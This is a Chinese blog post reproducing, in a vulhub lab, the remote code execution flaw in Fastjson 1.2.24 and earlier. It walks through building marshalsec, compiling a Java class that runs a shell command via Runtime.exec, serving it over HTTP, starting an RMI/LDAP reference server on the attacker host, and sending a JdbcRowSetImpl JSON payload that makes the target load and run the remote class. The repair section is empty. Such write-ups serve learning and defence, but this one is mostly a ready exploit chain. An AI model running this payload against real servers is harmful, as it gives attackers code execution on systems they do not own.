0
点赞
收藏
分享

微信扫一扫

安全-Fastjson 小于等于1.2.24版本代码执行漏洞复现(vulhub)

王栩的文字 2022-02-09 阅读 86

文章目录

前言

Fastjson 1.2.24下载

Java命令执行

marshalsec下载

maven历史版本下载

Docker容器进入的4种方式

Python开启HTTP服务

vulhub fastjson 1.2.24 反序列化导致任意命令执行漏洞

一、环境

[1]. 目标机(Debian 5)

192.168.248.131

vulhub

docker

docker-compose

[2]. 攻击机(Windows 10)

192.168.248.1

python3

javac

jre 1.8

burpsuite

marshalsec

maven

二、漏洞复现

[1]. 编译marshalsec项目

mvn clean package -DskipTests

在这里插入图片描述
在这里插入图片描述

[2]. 开启环境

systemctl start docker

在这里插入图片描述

docker-compose up -d

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

[3]. 编译恶意class

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "fox"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
javac java文件名

在这里插入图片描述
在这里插入图片描述

[4]. Python开启HTTP服务

python -m SimpleHTTPServer [端口]
python -m http.server [端口]

在这里插入图片描述

在这里插入图片描述

[5]. marshalsec开启LDAP或RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[攻击机IP]:[上个步骤python开的端口]/#[恶意class文件名,不包括后缀]" [新的端口]

在这里插入图片描述

[6]. 发送恶意json语句

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"[rmi或ldap]://192.168.248.1:[marshalsec项目开启的服务端口]/[恶意class文件名,不包括后缀]",
        "autoCommit":true
    }
}

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

[7]. 检测漏洞利用情况

docker ps

在这里插入图片描述

docker exec -it [镜像的ID,不需要全输入] /bin/bash

在这里插入图片描述

三、修复

举报

相关推荐

0 条评论